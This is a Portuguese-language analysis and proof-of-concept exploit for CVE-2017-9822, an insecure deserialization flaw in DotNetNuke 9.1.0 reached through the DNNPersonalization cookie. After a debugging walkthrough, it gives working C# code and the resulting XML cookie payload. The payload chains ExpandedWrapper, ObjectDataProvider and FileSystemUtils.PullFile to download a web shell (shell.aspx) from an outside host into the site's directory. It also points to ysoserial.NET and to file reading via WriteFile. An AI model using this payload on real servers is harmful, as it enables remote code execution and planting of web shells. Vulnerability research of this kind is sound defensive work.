
Análise detalhada e exploit de prova de conceito para CVE-2017-9822, uma vulnerabilidade de XXE/desserialização insegura no DotNetNuke CMS que leva à execução remota de código via manipulação de cookies.
DotNetNuke (geralmente abreviado como DNN) é uma plataforma CMS (Content Management System) e framework de aplicação web baseada na tecnologia ASP.NET da Microsoft.
Produto afetado: DotNetNuke (DNN Platform) – um CMS/portal .NET popular.
Data de divulgação: Julho de 2017.
Nível: Crítico (CVSS ~9.8).
Tipo de vulnerabilidade: XML External Entity (XXE) / Desserialização Insegura → Execução Remota de Código (RCE).
Impacto: antes da versão 9.1.1, possibilidade de executar código remotamente através de cookie
Aqui estou usando o Windows 10 para configurar e depurar o programa. A versão que estou instalando é 9.1.0. Vocês podem consultar o guia de instalação Aqui. E o resultado após a conclusão é:


De acordo com os relatórios que li, essa vulnerabilidade está localizada no processamento de cookies do DotNetNuke
O DNN utiliza um método de desserialização insegura (unsafe deserialization) para o cookie DNNPersonalization

.dll ou .exe escritos em .NET. Pode ser instalado Aqui. Precisamos baixar duas versões para a depuração.
DotNetNuke.dll com a versão de 32 bits e selecione Edit Assembly Attributes (C#)
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

Depois, salve.
Attach to Process
w3wp.exe
O motivo de escolher w3wp.exe é:
w3wp.exe = IIS Worker Process.
É o processo de execução do Application Pool no IIS.
Quando uma solicitação HTTP é enviada ao site, o IIS cria ou reutiliza um w3wp.exe para processar essa solicitação (executar código ASP.NET, processar módulos, middleware, conexão com banco de dados...).
Cada Application Pool pode ter um ou mais processos w3wp.exe dependendo da configuração (web garden, recycling).
Em seguida, vá em Debug -> Window -> Modules

Depois disso, os Módulos aparecerão. Clique com o botão direito em qualquer um e selecione Open All Modules

E, por fim, todos os Assemblies relacionados ao DNN aparecerão

DotNetNuke.dll -> PersonalizationController#LoadProfile(int, int)
Essa função é usada para carregar dados de personalização (perfil) do usuário no portal DNN.
Se for um usuário logado → carrega o perfil do banco de dados + cache.
Se for um usuário anônimo (não logado) → carrega o perfil do cookie DNNPersonalization.
Aqui devemos nos concentrar em DNNPersonalization
Se o userId não for válido (usuário anônimo).
Verifica se a solicitação possui o cookie DNNPersonalization.
Se sim → obtém o valor XML desse cookie.
Enviaremos uma solicitação 404 para o site e usaremos qualquer DNNPersonalization, usando o dnSpy para definir um Breakpoint em DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int) para depurar


PortalSettings
O que chama a atenção aqui é o uso de uma condição if para verificar se a solicitação atual já é IsAuthenticated ou não
E enquanto a solicitação que enviamos é 404 -> unauthenticated
Continue na parte de Call Stack, concentre-se em Handle404OrException

context.User atual é null; se for, atribui context.User ao usuário da thread atual

Vemos que em Handle404OrException, a variável IsAuthenticated agora tem valor true e o usuário é o do servidor IIS, portanto a solicitação é executada como um usuário autenticado.
A razão do problema está neste trecho de código
else if (transfer)
{
if (context.User == null)
{
context.User = Thread.CurrentPrincipal;
}
response.TrySkipIisCustomErrors = true;
IHttpHandler handler = new CDefault();
context.Handler = handler;
server.Transfer("~/" + text, true);
}
Se context.User não existir → atribui Thread.CurrentPrincipal (ou seja, a identidade atual da thread).
Isso faz com que a solicitação tenha informações de usuário/papel durante o processamento posterior.
=> Quando enviamos qualquer conteúdo para o cookie com a variável DNNPersonalization, ele será executado como um usuário normal.
Ainda em DotNetNuke.dll –> PersonalizationController#LoadProfile(int, int)
Vemos que a variável text recebe o valor do cookie e depois é passada como entrada para Globals.DeserializeHashTableXml()

Globals.DeserializeHashTableXml()
A função DeserializeHashTableXml tem a responsabilidade de:
Receber uma string XML (Source).
Analisar essa string XML para converter em um objeto Hashtable.
Durante a análise, chama a função XmlUtils.DeSerializeHashtable, com o parâmetro "profile" para especificar o nó raiz do XML.
Vá para dentro de XmlUtils.DeSerializeHashtable e veja como ele processa

A função DeSerializeHashtable recebe a string XML e a converte em Hashtable. Para cada nó <item>, a função:
Obtém a key para usar como chave.
Obtém o type e chama Type.GetType(type) para determinar o tipo de dados.
Usa XmlSerializer.Deserialize para transformar o conteúdo XML em um objeto real.
Adiciona ao Hashtable.
👉 Problema: como o type e o conteúdo XML são totalmente controlados pelo usuário (a partir do cookie DNNPersonalization)
Com base em XmlUtils#DeSerializeHashtable, que é o local da falha, crie um programa similar para serializar e desserializar o objeto:
using System.Xml;
using System.Diagnostics;
using System.Xml.Serialization;
namespace example
{
public class Test
{
private string _name;
public string name
{
get { return _name; }
set { this._name = value; execCMD(); }
}
private void execCMD()
{
Process process = new Process();
process.StartInfo.FileName = this._name;
process.Start();
process.Dispose(); // close
}
}
public class Program
{
private static string fileFolder = "D:\\lab\\csharp\\DNN\\example\\serialization\\";
public static void Serialize(Object obj) // method xml serialize arbitrary object
{
// criar elemento raiz xml
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// criar nó filho item com atributo type contendo o nome do tipo do objeto
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serializar obj em xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// adicionar o xml serializado do objeto ao nó item e adicionar o nó item ao elemento raiz
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText( fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
Test testObj = (Test) objResult;
Console.WriteLine("Deserialize sucessful: " + testObj.name);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
// serialize
Test test = new Test();
test.name = "notepad.exe"
Serialize(test);
// deserialize
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
xml ficará assim:<?xml version="1.0" encoding="utf-8"?>
<profile>
<item type="example.Test, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null">
<Test xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<name>notepad.exe</name>
</Test>
</item>
</profile>

DeserializeFileSystemUtils PullFile
Explicação:
PullFile(string URL, string FilePath) — método estático em FileSystemUtils usado para baixar o conteúdo de uma URL para um caminho FilePath no sistema.
Internamente usa WebClient.DownloadFile(URL, FilePath) — ação de baixar e escrever o arquivo.
catch apenas registra o erro e retorna uma mensagem; não relança a exceção.
Mas o problema é: XmlSerializer não pode serializar métodos de classe, apenas campos e propriedades públicos. Os campos e propriedades públicos da classe FileSystemUtils também não têm nenhum que possa chamar o método PullFile
Vamos para a Classe ObjectDataProvider
ObjectDataProvider é uma classe no WPF (namespace System.Windows.Data, módulo PresentationFramework.dll).
Tem capacidade de chamar métodos em tempo de execução — não apenas contém dados, mas pode realizar ações (efeito colateral) chamando qualquer método no objeto encapsulado.
Permite passar parâmetros — o invasor pode controlar os parâmetros passados para o método (por exemplo, URL e caminho do arquivo para um método PullFile).
ObjectDataProvider em si não “executa código” como um interpretador — mas permite chamar qualquer método público no objeto encapsulado. Portanto, se existir um método público com efeito colateral perigoso (por exemplo, baixar arquivo, executar processo, escrever arquivo), a cadeia pode realizar a ação.

Aqui ele está chamando Refresh() de DataSourceProvider

Continua para BeginQuery() e observe que ObjectDataProvider herda de DataSourceProvider e vamos para BeginQuery() de ObjectDataProvider

Continua com QueryWorker

Ele chamará InvokeMethodOnInstance

InvokeMethodOnInstance é o método que realmente executa (invoca) — usa reflexão para chamar o método especificado (MethodName) no objeto que ObjectDataProvider está “encapsulando” (ou no tipo, se for estático), passando a lista de MethodParameters, e retorna o resultado do método.
Usar a IDE jetbrain rider para escrever o script, necessário referenciar os módulos DotNetNuke.dll e PresentationFramework.dll.

Temos o Payload de execução a seguir
using System;
using System.IO;
using System.Xml;
using System.Xml.Serialization;
using System.Windows.Data; // ObjectDataProvider
using DotNetNuke.Common.Utilities; // FileSystemUtils (se você já adicionou a DLL)
using System.Data.Services.Internal; // ExpandedWrapper (se houver)
namespace example
{
public class Program
{
private static string fileFolder = "C:\\Users\\chinh\\Documents\\DNN"; // ALTERE ISSO
public static void Serialize(Object obj) // método xml serializar objeto arbitrário
{
// criar elemento raiz xml
XmlDocument xmlDocument = new XmlDocument();
XmlElement xmlElementRoot = xmlDocument.CreateElement("profile");
xmlDocument.AppendChild(xmlElementRoot);
// criar nó filho item com atributo type contendo o nome do tipo do objeto
XmlElement xmlElementItem = xmlDocument.CreateElement("item");
xmlElementItem.SetAttribute("type", obj.GetType().AssemblyQualifiedName);
// serializar obj em xmlDocumentObj
XmlDocument xmlDocumentObj = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(obj.GetType());
StringWriter stringWriter = new StringWriter();
xmlSerializer.Serialize(stringWriter, obj);
xmlDocumentObj.LoadXml(stringWriter.ToString());
// adicionar o xml serializado do objeto ao nó item e adicionar o nó item ao elemento raiz
xmlElementItem.AppendChild(xmlDocument.ImportNode(xmlDocumentObj.DocumentElement, true));
xmlElementRoot.AppendChild(xmlElementItem);
File.WriteAllText(fileFolder + "obj.xml", xmlDocument.OuterXml);
}
public static void DeSerialize(string xmlSource, string rootname)
{
// Hashtable hashtable = new Hashtable();
if (!string.IsNullOrEmpty(xmlSource))
{
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlSource);
foreach (object obj in xmlDocument.SelectNodes(rootname + "/item"))
{
XmlElement xmlElement = (XmlElement)obj;
string attribute = xmlElement.GetAttribute("key");
string attribute2 = xmlElement.GetAttribute("type");
XmlSerializer xmlSerializer = new XmlSerializer(Type.GetType(attribute2));
XmlTextReader xmlReader = new XmlTextReader(new StringReader(xmlElement.InnerXml));
// hashtable.Add(attribute, xmlSerializer.Deserialize(xmlReader));
// custom
Object objResult = xmlSerializer.Deserialize(xmlReader);
}
}
catch (Exception)
{
}
}
// return hashtable;
}
static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("https://192.168.72.102:8000/shell.aspx");
expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:\\Web\\DNN_Platform_9.1.0.367_Install\\js\\shell.aspx");
Console.WriteLine("Done!!");
Serialize(expandedWrapper);
String xmlSource = File.ReadAllText(fileFolder + "obj.xml");
DeSerialize(xmlSource, "profile");
}
}
}
obtemos o arquivo xml:
<profile>
<item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>PullFile</MethodName>
<MethodParameters>
<anyType xsi:type="xsd:string">http://192.168.72.102:8000/shell.aspx</anyType>
<anyType xsi:type="xsd:string">C:\Web\DNN_Platform_9.1.0.367_Install\js\shell.aspx</anyType>
</MethodParameters>
<ObjectInstance xsi:type="FileSystemUtils"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
</item>
</profile>
Realizar a inserção do payload



Vamos explorar

Além disso, podemos usar a ferramenta ysoserial.NET para gerar o payload


Além disso, também podemos explorar a parte de leitura de arquivos no WriteFile da classe FileSystemUtils

